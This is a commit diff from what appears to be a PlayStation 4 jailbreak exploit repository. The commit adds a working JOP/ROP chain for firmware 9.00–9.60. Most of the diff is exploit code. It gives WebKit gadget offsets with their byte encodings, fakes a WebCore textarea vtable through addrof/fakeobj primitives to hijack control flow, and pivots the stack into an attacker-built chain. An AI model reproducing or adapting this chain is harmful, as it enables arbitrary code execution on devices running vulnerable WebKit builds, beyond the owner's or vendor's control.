Initial 9.00-9.60 ROP chain, by @janisslsm
- Will need to be tweaked slightly, but it's currently working - Thanks to @DrYenyen for testing literally everything
This commit is contained in:
@@ -15,7 +15,9 @@ The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.1.0/),
|
||||
@janisslsm
|
||||
- Added loading payload from file
|
||||
- Added read8/read16/write8/write16 functions
|
||||
- Added 8.50 and 8.52 support
|
||||
- Added 8.50-9.60 support
|
||||
- Initial 9.00-9.60 ROP chain, by @janisslsm
|
||||
- Added GitHub actions to build PRs, push to `main`, and tags for releases.
|
||||
|
||||
### Fixed
|
||||
|
||||
|
||||
@@ -22,15 +22,14 @@ This table indicates firmware versions for which the *current version* of this r
|
||||
|
||||
| | PSFree | Lapse |
|
||||
|:--------------|:----------|:-----------|
|
||||
| PlayStation 4 | 8.00-8.52 | 8.00-8.52 |
|
||||
| PlayStation 4 | 8.00-9.60 | 8.00-9.60 |
|
||||
| PlayStation 5 | N/A | N/A |
|
||||
|
||||
*Note: Support for other firmwares listed in the "Vulnerability Scope" table may, or may not, be actively being worked on or may have been supported in previous versions of this repository. Please check `CHANGELOG.md` for historical support.*
|
||||
|
||||
## TODO List
|
||||
|
||||
- [ ] Rewrite JOP chains in `rop/ps4/900.mjs` and `rop/ps4/950.mjs`
|
||||
- I scrapped the ones I had...
|
||||
- [ ] Blackscreen/Save issue with certain games
|
||||
- [ ] `lapse.mjs`: Just set the bits for JIT privs
|
||||
- [ ] `view.mjs`: Assumes PS4, support PS5 as well
|
||||
- [ ] Add PS5 support
|
||||
|
||||
@@ -16,10 +16,11 @@ You should have received a copy of the GNU Affero General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>. */
|
||||
|
||||
// 9.00, 9.03, 9.04
|
||||
// ROP Chain by @janisslsm
|
||||
|
||||
import { mem } from "../../module/mem.mjs";
|
||||
import { KB } from "../../module/offset.mjs";
|
||||
import { ChainBase, get_gadget } from "../../module/chain.mjs";
|
||||
import { ChainBase } from "../../module/chain.mjs";
|
||||
import { BufferView } from "../../module/rw.mjs";
|
||||
|
||||
import { get_view_vector, resolve_import, init_syscall_array } from "../../module/memtools.mjs";
|
||||
@@ -37,34 +38,50 @@ export let libkernel_base = null;
|
||||
// libSceLibcInternal.sprx
|
||||
export let libc_base = null;
|
||||
|
||||
// TODO: gadgets for the JOP chain
|
||||
// gadgets for the JOP chain
|
||||
//
|
||||
// we'll use JSC::CustomGetterSetter.m_setter to redirect execution. its
|
||||
// type is PutPropertySlot::PutValueFunc
|
||||
// When the scrollLeft getter native function is called on the console, rsi is
|
||||
// the JS wrapper for the WebCore textarea class.
|
||||
const jop1 = `
|
||||
mov rdi, qword ptr [rsi + 8]
|
||||
mov rdi, qword ptr [rsi + 0x18]
|
||||
mov rax, qword ptr [rdi]
|
||||
jmp qword ptr [rax + 0x70]
|
||||
call qword ptr [rax + 0xb8]
|
||||
`;
|
||||
// Since the method of code redirection we used is via redirecting a call to
|
||||
// jump to our JOP chain, we have the return address of the caller on entry.
|
||||
//
|
||||
// jop1 pushed another object (via the call instruction) but we want no
|
||||
// extra objects between the return address and the rbp that will be pushed by
|
||||
// jop2 later. So we pop the return address pushed by jop1.
|
||||
//
|
||||
// This will make pivoting back easy, just "leave; ret".
|
||||
const jop2 = `
|
||||
pop rsi
|
||||
jmp qword ptr [rax + 0x1c]
|
||||
`;
|
||||
const jop3 = `
|
||||
mov rdi, qword ptr [rax + 8]
|
||||
mov rax, qword ptr [rdi]
|
||||
jmp qword ptr [rax + 0x30]
|
||||
`;
|
||||
// rbp is now pushed, any extra objects pushed by the call instructions can be
|
||||
// ignored
|
||||
const jop2 = `
|
||||
const jop4 = `
|
||||
push rbp
|
||||
mov rbp, rsp
|
||||
mov rax, qword ptr [rdi]
|
||||
call qword ptr [rax + 0x30]
|
||||
call qword ptr [rax + 0x58]
|
||||
`;
|
||||
const jop3 = `
|
||||
mov rdx, qword ptr [rdx + 0x50]
|
||||
mov ecx, 0xa
|
||||
call qword ptr [rax + 0x40]
|
||||
const jop5 = `
|
||||
mov rdx, qword ptr [rax + 0x18]
|
||||
mov rax, qword ptr [rdi]
|
||||
call qword ptr [rax + 0x10]
|
||||
`;
|
||||
const jop4 = `
|
||||
const jop6 = `
|
||||
push rdx
|
||||
mov edi, 0xac9784fe
|
||||
jmp qword ptr [rax]
|
||||
`;
|
||||
const jop5 = "pop rsp; ret";
|
||||
const jop7 = "pop rsp; ret";
|
||||
|
||||
// the ps4 firmware is compiled to use rbp as a frame pointer
|
||||
//
|
||||
@@ -109,11 +126,14 @@ const webkit_gadget_offsets = new Map(
|
||||
"mov dword ptr [rdi], eax; ret": 0x000000000000613c, // `89 07 c3`
|
||||
"mov dword ptr [rax], esi; ret": 0x00000000005c3482, // `89 30 c3`
|
||||
|
||||
[jop1]: 0x0000000000000000, // ``
|
||||
[jop2]: 0x0000000000000000, // ``
|
||||
[jop3]: 0x0000000000000000, // ``
|
||||
[jop4]: 0x0000000000000000, // ``
|
||||
[jop5]: 0x0000000000000000, // ``
|
||||
[jop1]: 0x00000000004e62a4, // `48 8b 7e 18 48 8b 07 ff 90 b8 00 00 00`
|
||||
[jop2]: 0x00000000021fce7e, // `5e ff 60 1c`
|
||||
[jop3]: 0x00000000019becb4, // `48 8b 78 08 48 8b 07 ff 60 30`
|
||||
|
||||
[jop4]: 0x0000000000683800, // `55 48 89 e5 48 8b 07 ff 50 58`
|
||||
[jop5]: 0x0000000000303906, // `48 8b 50 18 48 8b 07 ff 50 10`
|
||||
[jop6]: 0x00000000028bd332, // `52 ff 20`
|
||||
[jop7]: 0x000000000004e293, // `5c c3`
|
||||
}),
|
||||
);
|
||||
|
||||
@@ -191,15 +211,54 @@ class Chain900Base extends ChainBase {
|
||||
export class Chain900 extends Chain900Base {
|
||||
constructor() {
|
||||
super();
|
||||
const [rdx, rdx_bak] = mem.gc_alloc(0x58);
|
||||
rdx.write64(off.js_cell, this._empty_cell);
|
||||
rdx.write64(0x50, this.stack_addr);
|
||||
this._rsp = mem.fakeobj(rdx);
|
||||
|
||||
const textarea = document.createElement("textarea");
|
||||
this._textarea = textarea;
|
||||
const js_ta = mem.addrof(textarea);
|
||||
const webcore_ta = js_ta.readp(0x18);
|
||||
this._webcore_ta = webcore_ta;
|
||||
// Only offset 0x1c8 will be used when calling the scrollLeft getter
|
||||
// native function (our tests don't crash).
|
||||
//
|
||||
// This implies we don't need to know the exact size of the vtable and
|
||||
// try to copy it as much as possible to avoid a crash due to missing
|
||||
// vtable entries.
|
||||
//
|
||||
// So the rest of the vtable are free for our use.
|
||||
const vtable = new BufferView(0x200);
|
||||
const old_vtable_p = webcore_ta.readp(0);
|
||||
this._vtable = vtable;
|
||||
this._old_vtable_p = old_vtable_p;
|
||||
|
||||
// 0x1b8 is the offset of the scrollLeft getter native function
|
||||
vtable.write64(0x1b8, this.get_gadget(jop1));
|
||||
vtable.write64(0xb8, this.get_gadget(jop2));
|
||||
vtable.write64(0x1c, this.get_gadget(jop3));
|
||||
|
||||
// for the JOP chain
|
||||
const rax_ptrs = new BufferView(0x100);
|
||||
const rax_ptrs_p = get_view_vector(rax_ptrs);
|
||||
|
||||
rax_ptrs.write64(0x30, this.get_gadget(jop4));
|
||||
rax_ptrs.write64(0x58, this.get_gadget(jop5));
|
||||
rax_ptrs.write64(0x10, this.get_gadget(jop6));
|
||||
rax_ptrs.write64(0, this.get_gadget(jop7));
|
||||
// value to pivot rsp to
|
||||
rax_ptrs.write64(0x18, this.stack_addr);
|
||||
|
||||
const jop_buffer = new BufferView(8);
|
||||
const jop_buffer_p = get_view_vector(jop_buffer);
|
||||
|
||||
jop_buffer.write64(0, rax_ptrs_p);
|
||||
|
||||
vtable.write64(8, jop_buffer_p);
|
||||
}
|
||||
|
||||
run() {
|
||||
this.check_allow_run();
|
||||
this._rop.launch = this._rsp;
|
||||
this._webcore_ta.write64(0, get_view_vector(this._vtable));
|
||||
this._textarea.scrollLeft;
|
||||
this._webcore_ta.write64(0, this._old_vtable_p);
|
||||
this.dirty();
|
||||
}
|
||||
}
|
||||
@@ -215,50 +274,5 @@ export function init(Chain) {
|
||||
init_gadget_map(gadgets, libkernel_gadget_offsets, libkernel_base);
|
||||
init_syscall_array(syscall_array, libkernel_base, 300 * KB);
|
||||
|
||||
let gs = Object.getOwnPropertyDescriptor(window, "location").set;
|
||||
// JSCustomGetterSetter.m_getterSetter
|
||||
gs = mem.addrof(gs).readp(0x28);
|
||||
|
||||
// sizeof JSC::CustomGetterSetter
|
||||
const size_cgs = 0x18;
|
||||
const [gc_buf, gc_back] = mem.gc_alloc(size_cgs);
|
||||
mem.cpy(gc_buf, gs, size_cgs);
|
||||
// JSC::CustomGetterSetter.m_setter
|
||||
gc_buf.write64(0x10, get_gadget(gadgets, jop1));
|
||||
|
||||
const proto = Chain.prototype;
|
||||
// _rop must have a descriptor initially in order for the structure to pass
|
||||
// setHasReadOnlyOrGetterSetterPropertiesExcludingProto() thus forcing a
|
||||
// call to JSObject::putInlineSlow(). putInlineSlow() is the code path that
|
||||
// checks for any descriptor to run
|
||||
//
|
||||
// the butterfly's indexing type must be something the GC won't inspect
|
||||
// like DoubleShape. it will be used to store the JOP table's pointer
|
||||
const _rop = {
|
||||
get launch() {
|
||||
throw Error("never call");
|
||||
},
|
||||
0: 1.1,
|
||||
};
|
||||
// replace .launch with the actual custom getter/setter
|
||||
mem.addrof(_rop).write64(off.js_inline_prop, gc_buf);
|
||||
proto._rop = _rop;
|
||||
|
||||
// JOP table
|
||||
const rax_ptrs = new BufferView(0x100);
|
||||
const rax_ptrs_p = get_view_vector(rax_ptrs);
|
||||
proto._rax_ptrs = rax_ptrs;
|
||||
|
||||
rax_ptrs.write64(0x70, get_gadget(gadgets, jop2));
|
||||
rax_ptrs.write64(0x30, get_gadget(gadgets, jop3));
|
||||
rax_ptrs.write64(0x40, get_gadget(gadgets, jop4));
|
||||
rax_ptrs.write64(0, get_gadget(gadgets, jop5));
|
||||
|
||||
const jop_buffer_p = mem.addrof(_rop).readp(off.js_butterfly);
|
||||
jop_buffer_p.write64(0, rax_ptrs_p);
|
||||
|
||||
const empty = {};
|
||||
proto._empty_cell = mem.addrof(empty).read64(off.js_cell);
|
||||
|
||||
Chain.init_class(gadgets, syscall_array);
|
||||
}
|
||||
|
||||
@@ -16,10 +16,11 @@ You should have received a copy of the GNU Affero General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>. */
|
||||
|
||||
// 9.50, 9.51, 9.60
|
||||
// ROP Chain by @janisslsm
|
||||
|
||||
import { mem } from "../../module/mem.mjs";
|
||||
import { KB } from "../../module/offset.mjs";
|
||||
import { ChainBase, get_gadget } from "../../module/chain.mjs";
|
||||
import { ChainBase } from "../../module/chain.mjs";
|
||||
import { BufferView } from "../../module/rw.mjs";
|
||||
|
||||
import { get_view_vector, resolve_import, init_syscall_array } from "../../module/memtools.mjs";
|
||||
@@ -37,34 +38,51 @@ export let libkernel_base = null;
|
||||
// libSceLibcInternal.sprx
|
||||
export let libc_base = null;
|
||||
|
||||
// TODO: gadgets for the JOP chain
|
||||
// gadgets for the JOP chain
|
||||
//
|
||||
// we'll use JSC::CustomGetterSetter.m_setter to redirect execution. its
|
||||
// type is PutPropertySlot::PutValueFunc
|
||||
// When the scrollLeft getter native function is called on the console, rsi is
|
||||
// the JS wrapper for the WebCore textarea class.
|
||||
const jop1 = `
|
||||
mov rdi, qword ptr [rsi + 8]
|
||||
mov rdi, qword ptr [rsi + 0x18]
|
||||
mov rax, qword ptr [rdi]
|
||||
jmp qword ptr [rax + 0x70]
|
||||
call qword ptr [rax + 0xb8]
|
||||
`;
|
||||
// Since the method of code redirection we used is via redirecting a call to
|
||||
// jump to our JOP chain, we have the return address of the caller on entry.
|
||||
//
|
||||
// jop1 pushed another object (via the call instruction) but we want no
|
||||
// extra objects between the return address and the rbp that will be pushed by
|
||||
// jop2 later. So we pop the return address pushed by jop1.
|
||||
//
|
||||
// This will make pivoting back easy, just "leave; ret".
|
||||
const jop2 = `
|
||||
pop rsi
|
||||
cmc
|
||||
jmp qword ptr [rax + 0x7c]
|
||||
`;
|
||||
const jop3 = `
|
||||
mov rdi, qword ptr [rax + 8]
|
||||
mov rax, qword ptr [rdi]
|
||||
jmp qword ptr [rax + 0x30]
|
||||
`;
|
||||
// rbp is now pushed, any extra objects pushed by the call instructions can be
|
||||
// ignored
|
||||
const jop2 = `
|
||||
const jop4 = `
|
||||
push rbp
|
||||
mov rbp, rsp
|
||||
mov rax, qword ptr [rdi]
|
||||
call qword ptr [rax + 0x30]
|
||||
call qword ptr [rax + 0x58]
|
||||
`;
|
||||
const jop3 = `
|
||||
mov rdx, qword ptr [rdx + 0x50]
|
||||
mov ecx, 0xa
|
||||
call qword ptr [rax + 0x40]
|
||||
const jop5 = `
|
||||
mov rdx, qword ptr [rax + 0x18]
|
||||
mov rax, qword ptr [rdi]
|
||||
call qword ptr [rax + 0x10]
|
||||
`;
|
||||
const jop4 = `
|
||||
const jop6 = `
|
||||
push rdx
|
||||
mov edi, 0xac9784fe
|
||||
jmp qword ptr [rax]
|
||||
`;
|
||||
const jop5 = "pop rsp; ret";
|
||||
const jop7 = "pop rsp; ret";
|
||||
|
||||
// the ps4 firmware is compiled to use rbp as a frame pointer
|
||||
//
|
||||
@@ -110,11 +128,14 @@ const webkit_gadget_offsets = new Map(
|
||||
"mov dword ptr [rdi], eax; ret": 0x00000000000071d0, // `89 07 c3`
|
||||
"mov dword ptr [rax], esi; ret": 0x000000000007ebd8, // `89 30 c3`
|
||||
|
||||
[jop1]: 0x0000000000000000, // ``
|
||||
[jop2]: 0x0000000000000000, // ``
|
||||
[jop3]: 0x0000000000000000, // ``
|
||||
[jop4]: 0x0000000000000000, // ``
|
||||
[jop5]: 0x0000000000000000, // ``
|
||||
[jop1]: 0x000000000060fd94, // `48 8b 7e 18 48 8b 07 ff 90 b8 00 00 00`
|
||||
[jop2]: 0x0000000002bf3741, // `5e f5 ff 60 7c`
|
||||
[jop3]: 0x000000000181e974, // `48 8b 78 08 48 8b 07 ff 60 30`
|
||||
|
||||
[jop4]: 0x00000000001a75a0, // `55 48 89 e5 48 8b 07 ff 50 58`
|
||||
[jop5]: 0x000000000035fc94, // `48 8b 50 18 48 8b 07 ff 50 10`
|
||||
[jop6]: 0x00000000002b7a9c, // `52 ff 20`
|
||||
[jop7]: 0x00000000000253e0, // `5c c3`
|
||||
}),
|
||||
);
|
||||
|
||||
@@ -192,15 +213,54 @@ class Chain950Base extends ChainBase {
|
||||
export class Chain950 extends Chain950Base {
|
||||
constructor() {
|
||||
super();
|
||||
const [rdx, rdx_bak] = mem.gc_alloc(0x58);
|
||||
rdx.write64(off.js_cell, this._empty_cell);
|
||||
rdx.write64(0x50, this.stack_addr);
|
||||
this._rsp = mem.fakeobj(rdx);
|
||||
|
||||
const textarea = document.createElement("textarea");
|
||||
this._textarea = textarea;
|
||||
const js_ta = mem.addrof(textarea);
|
||||
const webcore_ta = js_ta.readp(0x18);
|
||||
this._webcore_ta = webcore_ta;
|
||||
// Only offset 0x1c8 will be used when calling the scrollLeft getter
|
||||
// native function (our tests don't crash).
|
||||
//
|
||||
// This implies we don't need to know the exact size of the vtable and
|
||||
// try to copy it as much as possible to avoid a crash due to missing
|
||||
// vtable entries.
|
||||
//
|
||||
// So the rest of the vtable are free for our use.
|
||||
const vtable = new BufferView(0x200);
|
||||
const old_vtable_p = webcore_ta.readp(0);
|
||||
this._vtable = vtable;
|
||||
this._old_vtable_p = old_vtable_p;
|
||||
|
||||
// 0x1b8 is the offset of the scrollLeft getter native function
|
||||
vtable.write64(0x1b8, this.get_gadget(jop1));
|
||||
vtable.write64(0xb8, this.get_gadget(jop2));
|
||||
vtable.write64(0x7c, this.get_gadget(jop3));
|
||||
|
||||
// for the JOP chain
|
||||
const rax_ptrs = new BufferView(0x100);
|
||||
const rax_ptrs_p = get_view_vector(rax_ptrs);
|
||||
|
||||
rax_ptrs.write64(0x30, this.get_gadget(jop4));
|
||||
rax_ptrs.write64(0x58, this.get_gadget(jop5));
|
||||
rax_ptrs.write64(0x10, this.get_gadget(jop6));
|
||||
rax_ptrs.write64(0, this.get_gadget(jop7));
|
||||
// value to pivot rsp to
|
||||
rax_ptrs.write64(0x18, this.stack_addr);
|
||||
|
||||
const jop_buffer = new BufferView(8);
|
||||
const jop_buffer_p = get_view_vector(jop_buffer);
|
||||
|
||||
jop_buffer.write64(0, rax_ptrs_p);
|
||||
|
||||
vtable.write64(8, jop_buffer_p);
|
||||
}
|
||||
|
||||
run() {
|
||||
this.check_allow_run();
|
||||
this._rop.launch = this._rsp;
|
||||
this._webcore_ta.write64(0, get_view_vector(this._vtable));
|
||||
this._textarea.scrollLeft;
|
||||
this._webcore_ta.write64(0, this._old_vtable_p);
|
||||
this.dirty();
|
||||
}
|
||||
}
|
||||
@@ -216,50 +276,5 @@ export function init(Chain) {
|
||||
init_gadget_map(gadgets, libkernel_gadget_offsets, libkernel_base);
|
||||
init_syscall_array(syscall_array, libkernel_base, 300 * KB);
|
||||
|
||||
let gs = Object.getOwnPropertyDescriptor(window, "location").set;
|
||||
// JSCustomGetterSetter.m_getterSetter
|
||||
gs = mem.addrof(gs).readp(0x28);
|
||||
|
||||
// sizeof JSC::CustomGetterSetter
|
||||
const size_cgs = 0x18;
|
||||
const [gc_buf, gc_back] = mem.gc_alloc(size_cgs);
|
||||
mem.cpy(gc_buf, gs, size_cgs);
|
||||
// JSC::CustomGetterSetter.m_setter
|
||||
gc_buf.write64(0x10, get_gadget(gadgets, jop1));
|
||||
|
||||
const proto = Chain.prototype;
|
||||
// _rop must have a descriptor initially in order for the structure to pass
|
||||
// setHasReadOnlyOrGetterSetterPropertiesExcludingProto() thus forcing a
|
||||
// call to JSObject::putInlineSlow(). putInlineSlow() is the code path that
|
||||
// checks for any descriptor to run
|
||||
//
|
||||
// the butterfly's indexing type must be something the GC won't inspect
|
||||
// like DoubleShape. it will be used to store the JOP table's pointer
|
||||
const _rop = {
|
||||
get launch() {
|
||||
throw Error("never call");
|
||||
},
|
||||
0: 1.1,
|
||||
};
|
||||
// replace .launch with the actual custom getter/setter
|
||||
mem.addrof(_rop).write64(off.js_inline_prop, gc_buf);
|
||||
proto._rop = _rop;
|
||||
|
||||
// JOP table
|
||||
const rax_ptrs = new BufferView(0x100);
|
||||
const rax_ptrs_p = get_view_vector(rax_ptrs);
|
||||
proto._rax_ptrs = rax_ptrs;
|
||||
|
||||
rax_ptrs.write64(0x70, get_gadget(gadgets, jop2));
|
||||
rax_ptrs.write64(0x30, get_gadget(gadgets, jop3));
|
||||
rax_ptrs.write64(0x40, get_gadget(gadgets, jop4));
|
||||
rax_ptrs.write64(0, get_gadget(gadgets, jop5));
|
||||
|
||||
const jop_buffer_p = mem.addrof(_rop).readp(off.js_butterfly);
|
||||
jop_buffer_p.write64(0, rax_ptrs_p);
|
||||
|
||||
const empty = {};
|
||||
proto._empty_cell = mem.addrof(empty).read64(off.js_cell);
|
||||
|
||||
Chain.init_class(gadgets, syscall_array);
|
||||
}
|
||||
|
||||
Reference in New Issue
Block a user